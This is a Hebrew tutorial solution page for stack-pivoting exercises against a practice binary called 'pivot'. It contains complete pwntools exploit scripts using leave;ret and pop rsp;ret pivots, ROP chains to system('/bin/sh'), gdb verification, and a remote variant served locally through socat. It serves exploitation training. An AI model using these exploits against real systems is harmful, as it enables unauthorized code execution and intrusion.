לדלג לתוכן

6.1 stack pivoting פתרון

פתרון - הזזת מחסנית - stack pivoting

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להשתנות מעט בין גרסאות מהדר, אז תמיד שלפו אותן מהבינארי שלכם ואל תעתיקו עיוור.

פתרון תרגיל 1 - להוכיח שאין מקום

בדיקת ההגנות:

$ checksec --file=./pivot
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

בדיוק מה שרצינו: אין canary (הoverflow עוברת), NX פעיל (אנחנו ב-ROP), אין PIE (כתובות קבועות). עכשיו מציאת ה-offset. שולחים דמה לקריאה הראשונה ו-cyclic לשנייה:

from pwn import *
context.binary = ELF('./pivot')

p = process('./pivot')
p.recvuntil(b'stage:')
p.send(b'X' * 16)               # dummy input for the first read (to stage)
p.recvuntil(b'overflow:')
p.send(cyclic(80))             # the short overflow
p.wait()

core = p.corefile
fault = core.read(core.rsp, 8)
log.info('offset = %d', cyclic_find(fault))

הפלט:

[*] offset = 72

אז ה-offset עד return address הוא 72 (buffer 64 + saved rbp 8). הקריאה השנייה קוראת בדיוק 80 בתים: 72 עד return address, 8 בתים לדריסת return address, ו-אפס בתים אחריה. אין שום מקום לchain. זו כל המוטיבציה: אנחנו יכולים לדרוס את saved rbp ואת return address, וזהו - בדיוק שני הרכיבים שצריך כדי לבצע פיבוט עם leave ; ret.

פתרון תרגיל 2 - איתור הרכיבים

$ ROPgadget --binary ./pivot | grep ': leave ; ret'
0x0000000000401185 : leave ; ret

$ ROPgadget --binary ./pivot | grep 'pop rdi ; ret'
0x0000000000401263 : pop rdi ; ret

$ ROPgadget --binary ./pivot | grep ': ret$'
0x000000000040101a : ret

את שאר הרכיבים נשלוף מ-pwntools בתוך הסקריפט: elf.symbols['stage'] לכתובת הבמה, next(elf.search(b'/bin/sh\x00')) למחרוזת, ו-elf.plt['system'] לקריאה. אפשר לאמת ידנית:

$ nm ./pivot | grep ' stage'
0000000000404060 B stage

$ ROPgadget --binary ./pivot --string '/bin/sh'
0x0000000000402008 : /bin/sh

פתרון תרגיל 3 - הפיבוט המלא עם leave ; ret

הנה ה-exploit המלא, שני השלבים במקום אחד:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./pivot')

stage     = elf.symbols['stage']
leave_ret = 0x401185
pop_rdi   = 0x401263
ret       = 0x40101a
binsh     = next(elf.search(b'/bin/sh\x00'))
system    = elf.plt['system']

# stage 1 - the full chain that will sit at stage.
# 8 padding bytes because pop rbp of the second leave;ret will swallow them, and the chain starts at stage+8.
chain  = p64(0)              # padding swallowed by pop rbp
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(ret)            # align to 16 bytes before system
chain += p64(system)

# stage 2 - the short overflow that performs the pivot.
pivot  = b'A' * 64          # padding up to saved rbp
pivot += p64(stage)         # saved rbp -> stage address
pivot += p64(leave_ret)     # return addr -> leave ; ret

p = process('./pivot')
p.recvuntil(b'stage:')
p.send(chain)               # fill the stage
p.recvuntil(b'overflow:')
p.send(pivot)               # trigger the pivot
p.interactive()

הרצה:

[+] Starting local process './pivot': pid 12841
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
FLAG{pivoted_into_the_bss}

שימו לב לשני מספרים שונים כאן, ושניהם חשובים. ה-offset עד return address הוא 72 (זה מה שמדדנו בתרגיל 1 עם cyclic), אבל הpadding עד ה-saved rbp - שאותו אנחנו דורסים כדי לבצע את הפיבוט - הוא רק 64. לכן הpayload הוא b'A'*64 + p64(stage) + p64(leave_ret): 64 בתים ממלאים את buf, אחריהם 8 בתים דורסים את saved rbp בכתובת stage, ואחריהם 8 בתים דורסים את return address בגאדג'ט leave ; ret. סך הכל 80 בתים - בדיוק כמו שהקריאה קוראת, אף בית מיותר.

למה זה עבד: הקריאה הראשונה שתלה את הchain המלאה ב-stage. הoverflow הקצרה דרסה את saved rbp ל-stage ואת return address ל-leave ; ret. באפילוג של vuln, ה-leave הראשון טען rbp = stage, וה-ret קפץ לגאדג'ט leave ; ret. שם, ה-leave השני עשה rsp = stage, ה-pop rbp בלע את 8 בתי הpadding, וה-ret קפץ ל-pop rdi שב-stage+8. מכאן הchain רצה חופשי: rdi = "/bin/sh", ואז system.

איך להכליל: זה הדפוס הבסיסי של כל פיבוט. הoverflow הקצרה היא רק "טרמפולינה" - היא לא מכילה את הלוגיקה, רק מעבירה את rsp למקום שבו הלוגיקה כבר יושבת. ברגע שהבנתם שאתם שולטים ב-rsp, כל המחסנית האמיתית שלכם יכולה לשבת בכל מקום כתיב בזיכרון.

פתרון תרגיל 4 - לאמת את הפיבוט בעיניים

מוסיפים breakpoint על ה-leave ; ret ועוקבים:

p = process('./pivot')
gdb.attach(p, 'break *0x401185')     # address of leave ; ret

ב-gdb, אחרי שהגענו ל-breakpoint (רגע לפני ה-leave השני), נעשה single-step ונצפה באוגרים:

pwndbg> p/x $rbp
$1 = 0x404060          # stage - exactly what we set in saved rbp

pwndbg> si             # execute leave
pwndbg> p/x $rsp
$2 = 0x404068          # rsp = stage+8 (after mov rsp,rbp then pop rbp)

pwndbg> x/4gx $rsp
0x404068:  0x0000000000401263  0x0000000000402008   # pop rdi , "/bin/sh"
0x404078:  0x000000000040101a  0x0000000000401030   # ret , system@plt

רואים בבירור: אחרי הפיבוט, rsp מצביע אל תוך stage, וה-x/4gx מראה את הchain שלנו יושבת שם מסודרת. ה-ret הבא יקפוץ ל-pop rdi, והכל מתגלגל.

למה זה עבד: ה-leave תרגם ל-mov rsp, rbp ; pop rbp. מכיוון ש-rbp היה stage, אחרי ה-mov היה rsp = stage, ואחרי ה-pop rbp (שקרא את [stage] = 0 והזיז את rsp ב-8) קיבלנו rsp = stage+8. איך להכליל: אם אי פעם אתם מסופקים אם פיבוט עבד, ה-breakpoint על גאדג'ט הפיבוט ובדיקת rsp אחריו הם הדרך הכי מהירה לוודא. אם rsp לא הצביע לאן שציפיתם, כמעט תמיד ה-saved rbp שלכם היה שגוי.

פתרון תרגיל 5 - אותו פיצוח עם pop rsp ; ret

קודם בודקים אם הגאדג'ט קיים:

$ ROPgadget --binary ./pivot | grep 'pop rsp ; ret'
0x00000000004011f7 : pop rsp ; ret

אם הוא קיים, הפיצוח נקי יותר. עכשיו return address נדרסת ל-pop rsp, ומיד אחריה שמים את stage. אין pop rbp כפול, אז אין צורך בpadding המקדים - הchain מתחילה כבר ב-stage+0:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./pivot')

stage    = elf.symbols['stage']
pop_rsp  = 0x4011f7
pop_rdi  = 0x401263
ret      = 0x40101a
binsh    = next(elf.search(b'/bin/sh\x00'))
system   = elf.plt['system']

# chain without leading padding - starts right at stage+0.
chain  = p64(pop_rdi)
chain += p64(binsh)
chain += p64(ret)
chain += p64(system)

# the overflow: return addr -> pop rsp ; ret, followed by stage which gets popped into rsp.
pivot  = b'A' * 72          # padding up to the return address
pivot += p64(pop_rsp)       # return addr -> pop rsp ; ret
pivot += p64(stage)         # popped into rsp by pop rsp

p = process('./pivot')
p.recvuntil(b'stage:')
p.send(chain)
p.recvuntil(b'overflow:')
p.send(pivot)
p.interactive()

שימו לב שכאן הpadding הוא b'A' * 72 (עד return address), כי אנחנו לא צריכים לדרוס את saved rbp - הפיבוט לא עובר דרכו. ה-ret של vuln קופץ ל-pop rsp ; ret, ה-pop rsp שולף את stage אל rsp, וה-ret שאחריו שולף את [stage] = pop rdi. פשוט וישיר.

למה זה עבד: pop rsp הוא הפיבוט הטהור - הוא מציב ערך שאנחנו שולטים בו ישירות ב-rsp, בלי תופעות לוואי כמו ה-pop rbp של leave. איך להכליל: כשהגאדג'ט הזה זמין, הוא הבחירה הכי נקייה. הבעיה היחידה היא שהוא נדיר - הבייט 5c (שהוא pop rsp) פשוט לא מופיע הרבה ברצפים שמסתיימים ב-ret. אם הוא לא קיים אצלכם, נופלים חזרה ל-leave ; ret.

פתרון תרגיל 6 (בונוס) - migrate של pwntools ושרת מרוחק

הספרייה pwntools יודעת לבנות פיבוט לבד עם rop.migrate:

context.binary = elf = ELF('./pivot')
stage = elf.symbols['stage']

# build the real chain as a ROP object...
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh\x00'))])
chain = rop.chain()

# ...and a separate pivot chain that moves rsp to it.
migrate = ROP(elf)
migrate.migrate(stage)
log.info('\n' + migrate.dump())

ה-dump יראה לכם ש-pwntools בחר בעצמו גאדג'ט פיבוט (בדרך כלל leave ; ret דרך pop rbp) ובנה את אותה לוגיקה שבנינו ידנית. זה נחמד לייצור, אבל חשוב שהבנתם את המכניקה לפני שאתם נשענים על האוטומציה.

גרסה גמישה שרצה מקומית ומול שרת:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./pivot')

def conn():
    if args.REMOTE:
        return remote('127.0.0.1', 1337)
    return process('./pivot')

stage     = elf.symbols['stage']
leave_ret = 0x401185
pop_rdi   = 0x401263
ret       = 0x40101a
binsh     = next(elf.search(b'/bin/sh\x00'))
system    = elf.plt['system']

chain  = p64(0) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
pivot  = b'A' * 64 + p64(stage) + p64(leave_ret)

p = conn()
p.recvuntil(b'stage:')
p.send(chain)
p.recvuntil(b'overflow:')
p.send(pivot)
p.interactive()

מריצים את השרת ותוקפים:

# window 1
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./pivot

# window 2
python3 exploit.py REMOTE

ומקבלים shell מרוחק.

לגבי PIE: אילו הבינארי היה מקומפל עם PIE, כתובת stage, כל הגאדג'טים, ו-system@plt היו אקראיים בכל הרצה. במקרה כזה, טכניקת הפיבוט עצמה לא משתנה בכלל - מה שמשתנה הוא שצריך קודם לדלוף את בסיס הקוד (למשל דרך חולשת format string מפרק 5, או pointer leak מהמחסנית), ואז לחשב את כל הכתובות כ-base + offset. הלקח החשוב: פיבוט הוא טכניקת "תנועה" של המחסנית, והוא אורתוגונלי לשאלה מאיפה מגיעות הכתובות. אותו רעיון עובד גם כשהבמה היא ב-heap וגם כשהיא בכתובת שדלפה מ-libc.